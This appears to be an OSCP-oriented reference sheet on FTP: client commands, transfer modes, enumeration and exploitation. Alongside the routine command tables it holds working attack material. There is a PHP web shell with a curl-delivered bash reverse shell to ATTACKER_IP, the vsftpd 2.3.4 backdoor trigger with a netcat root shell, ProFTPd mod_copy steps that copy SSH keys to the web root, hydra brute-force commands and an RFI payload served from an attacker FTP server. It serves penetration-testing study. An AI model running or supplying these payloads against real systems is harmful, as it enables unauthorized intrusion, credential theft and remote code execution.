FTP — Complete Reference

What is FTP?

File Transfer Protocol (FTP) is a standard network protocol for transferring files between a client and server over TCP. It runs on port 21/TCP (control) and a data port (20/TCP active, or dynamic in passive mode).

OSCP use: FTP is frequently found open on targets. Always test anonymous login, check for writable directories to upload shells, and search for credentials and interesting files.


Ports

PortDescription
21/TCPControl channel — commands
20/TCPData channel (active mode)
DynamicData channel (passive mode — server picks a random high port)

Active vs Passive Mode

ModeHow it worksWhen to use
ActiveServer connects back to the client on port 20Can fail if client has a firewall
PassiveClient connects to a random high port on the serverUse this in CTFs/pentests — works through NAT and firewalls
# Switch to passive mode inside the ftp shell
ftp> passive
# or start with passive mode always on:
ftp -p TARGET

📌 1) Connecting

# Standard connect
ftp TARGET
ftp 10.10.10.10
 
# Specify port
ftp -p 10.10.10.10 2121
ftp TARGET 2121
 
# Connect with passive mode forced from the start
ftp -p 10.10.10.10
 
# Non-interactive (no prompts for mget/mput)
ftp -n 10.10.10.10

📌 2) Anonymous Login

Always the first thing to try — many misconfigurations allow it:

ftp 10.10.10.10
 
# When prompted:
Name: anonymous
Password:           # Press Enter (blank), or try: anonymous@anonymous.com
 
# Alternative usernames to try
anonymous
ftp
guest
anon
# Non-interactive anonymous login
ftp -inv 10.10.10.10 << 'EOF'
user anonymous anonymous
ls
bye
EOF

If anonymous login succeeds: list all directories, look for readable files, check for writable directories to upload a shell.


📌 3) All Interactive Commands

Once connected you get the ftp> prompt. Commands are split into local (affect your machine) and remote (affect the server).

CommandDescription
lsList files in current remote directory
ls -laLong listing including hidden files
dirAlias for ls (more verbose output)
dir -RRecursive listing
pwdPrint current remote directory
cd <dir>Change remote directory
cd ..Go up one directory
cdupAlias for cd ..
lcd <dir>Change local directory
lpwdPrint current local directory
!lsList local directory
!pwdPrint local working directory

File Transfer — Download

CommandDescription
get <file>Download a single file
get <file> <localname>Download and save with a different name
mget <pattern>Download multiple files (mget *.txt)
mget *Download everything in the current directory
recv <file>Alias for get

File Transfer — Upload

CommandDescription
put <file>Upload a single file
put <localfile> <remotename>Upload and rename on server
mput <pattern>Upload multiple files (mput *.php)
send <file>Alias for put
append <file>Append local file to a remote file

Transfer Settings

CommandDescription
binarySwitch to binary transfer mode (always use for non-text files)
asciiSwitch to ASCII transfer mode (text files only)
typeShow current transfer mode
passiveToggle passive mode on/off
promptToggle confirmation prompts for mget/mput (turn off for bulk transfers)

Always run binary before transferring executables, images, or zip files. ASCII mode corrupts binary files.


Directory Operations

CommandDescription
mkdir <dir>Create a directory on the server
rmdir <dir>Remove a directory
rename <old> <new>Rename a remote file or directory
delete <file>Delete a remote file
mdelete <pattern>Delete multiple files

Connection & Session

CommandDescription
open <host>Connect to a new host (without quitting)
closeClose current connection (stay in ftp shell)
disconnectAlias for close
bye / quit / exitDisconnect and exit the ftp shell
user <name>Re-authenticate as a different user
statusShow connection and transfer settings
systemShow remote server OS type
site <cmd>Send a site-specific command to the server

Misc

CommandDescription
help / ?Show all available commands
help <cmd>Show help for a specific command
verboseToggle verbose output on/off
hashToggle hash mark (#) progress display
tickToggle tick-mark progress display
bellToggle bell sound on transfer complete
globToggle filename globbing (wildcards)
caseToggle case sensitivity for mget
runiqueToggle unique naming for downloaded files
suniqueToggle unique naming for uploaded files
!<cmd>Run a local shell command without leaving ftp
macdef <name>Define a macro

📌 4) Passive Mode In Depth

Passive mode is almost always needed in CTF and pentest scenarios because:

  • You’re behind NAT and the server can’t connect back to you
  • Firewalls block inbound connections on random high ports
# Toggle passive mode after connecting
ftp> passive
Passive mode on.
 
# Toggle it back off
ftp> passive
Passive mode off.
 
# Connect with passive mode enabled from the start
ftp -p 10.10.10.10
 
# Using lftp (alternative client — passive by default)
lftp -p 21 -u anonymous, 10.10.10.10

When passive mode still fails

# Use curl instead — passive by default
curl ftp://10.10.10.10/ --user anonymous:
curl ftp://10.10.10.10/ -u anonymous:anonymous
 
# Or use lftp (handles passive/active switching automatically)
lftp 10.10.10.10

📌 5) Bulk / Non-Interactive Workflows

Download all files from a share

ftp> prompt off       # Disable confirmation for mget
ftp> binary           # Use binary mode
ftp> mget *           # Download everything

Recursive download (ftp doesn’t support natively — use wget or lftp)

# wget recursive FTP download
wget -r ftp://anonymous:anonymous@10.10.10.10/
 
# lftp recursive download
lftp -u anonymous, 10.10.10.10
lftp> mirror /remote/dir /local/dir
 
# curl to list directory
curl -s ftp://10.10.10.10/ -u anonymous:
curl -s ftp://10.10.10.10/subdir/ -u anonymous:

Automate login with .netrc

# Create ~/.netrc
echo "machine 10.10.10.10 login anonymous password anonymous" > ~/.netrc
chmod 600 ~/.netrc
 
# Now connect without being prompted for creds
ftp 10.10.10.10

Script a full session

ftp -inv 10.10.10.10 << 'EOF'
user admin password
binary
cd /uploads
put shell.php
bye
EOF

📌 6) Uploading a Web Shell (If FTP Root = Web Root)

If FTP is serving files from the same directory as a web server:

# 1. Create a PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
 
# 2. Connect and upload
ftp 10.10.10.10
ftp> user anonymous
ftp> binary
ftp> put shell.php
ftp> bye
 
# 3. Trigger via browser or curl
curl http://10.10.10.10/shell.php?cmd=id
curl http://10.10.10.10/shell.php?cmd=whoami
curl "http://10.10.10.10/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"

📌 7) Enumeration Checklist

# Nmap FTP scripts
nmap -p 21 -sV --script ftp-anon,ftp-banner,ftp-syst,ftp-vsftpd-backdoor 10.10.10.10
nmap -p 21 --script ftp-brute --script-args brute.firstonly=true 10.10.10.10
 
# Quick anonymous check
nmap -p 21 --script ftp-anon 10.10.10.10

What to look for after logging in

ftp> ls -la              # Hidden files (start with .)
ftp> dir -R              # Everything recursively
ftp> pwd                 # Where are we? (may reveal web root path)
 
# Files of interest
- *.php, *.asp, *.aspx may indicate web root upload shell
- *.txt, *.md, notes credentials, instructions
- *.conf, *.config credentials, paths
- *.zip, *.tar, *.gz archives (download and inspect)
- .htpasswd, .htaccess web credentials
- id_rsa, *.pem, *.key SSH keys
- backup*, *.bak, *.old old files with sensitive info

📌 8) vsftpd 2.3.4 Backdoor

A famous OSCP/CTF target — vsftpd version 2.3.4 has a backdoor triggered by a smiley face in the username:

# Check version
nmap -p 21 -sV 10.10.10.10
# If version is vsftpd 2.3.4:
 
# Metasploit
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.10
run
# Opens a shell on port 6200
 
# Manual trigger
# Step 1: Log in with :) in the username
ftp 10.10.10.10
Name: user:)
Password: anypassword
# Connection may hang — that's expected
 
# Step 2: In a second terminal, connect to port 6200
nc -nv 10.10.10.10 6200
# Should give a root shell

📌 9) ProFTPd 1.3.5 — mod_copy RCE

ProFTPd with mod_copy enabled allows copying files on the server without authentication:

# Check version
nmap -p 21 -sV 10.10.10.10
 
# Connect anonymously
ftp 10.10.10.10
 
# Use SITE CPFR/CPTO to copy files
# Copy a PHP shell from anywhere readable to the web root
ftp> site cpfr /proc/self/cmdline
ftp> site cpto /var/www/html/test.php
 
# Or copy an SSH key
ftp> site cpfr /home/user/.ssh/id_rsa
ftp> site cpto /var/www/html/id_rsa
 
# Then download via HTTP
curl http://10.10.10.10/id_rsa
 
# Metasploit
use exploit/unix/ftp/proftpd_modcopy_exec

📌 10) Brute Forcing FTP

Try weak creds first — after username enum, spray null / same / reverse before rockyou:

# Step 1 — -L user list, -e nsr (no -P)
hydra -L users.txt -e nsr 192.168.15.151 ftp -t 6 -f -V
 
# Step 2 — add rockyou if needed
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.15.151 ftp -t 6 -f -e nsr
 
# Single user
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.15.151 ftp -t 6 -f -e nsr

Metasploit

use auxiliary/scanner/ftp/ftp_login set RHOSTS 10.10.10.10 set USER_FILE users.txt set PASS_FILE passwords.txt run


---

## 📌 Quick OSCP Cheat Sheet (Copy/Paste)

```bash
# Connect
ftp 10.10.10.10

# Anonymous login
Name: anonymous
Password: (blank — just press Enter)

# Essential first commands after login
ftp> passive          # Enable passive mode
ftp> ls -la           # List all including hidden
ftp> binary           # Switch to binary mode before transfers
ftp> prompt off       # Disable mget/mput confirmations

# Download everything
ftp> mget *

# Download single file
ftp> get filename.txt

# Upload a file
ftp> put shell.php

# Exit
ftp> bye

# Nmap quick check
nmap -p 21 -sV --script ftp-anon,ftp-banner 10.10.10.10

# Curl anonymous (passive default)
curl ftp://10.10.10.10/ -u anonymous:
curl ftp://10.10.10.10/file.txt -u anonymous: -o file.txt

# wget recursive download
wget -r ftp://anonymous:@10.10.10.10/

📌 pyftpdlib — attacker FTP server (RFI bypass)

When PHP RFI filters block http:// / https:// but allow_url_include=On, serve payloads over FTP:

pip install pyftpdlib
python -m pyftpdlib -p 21
# shell.php in cwd — anonymous auth by default
?page=ftp://ATTACKER_IP/shell.php&cmd=id

Remote File Inclusion (RFI) > FTP wrapper bypass (http:// / https:// blacklisted)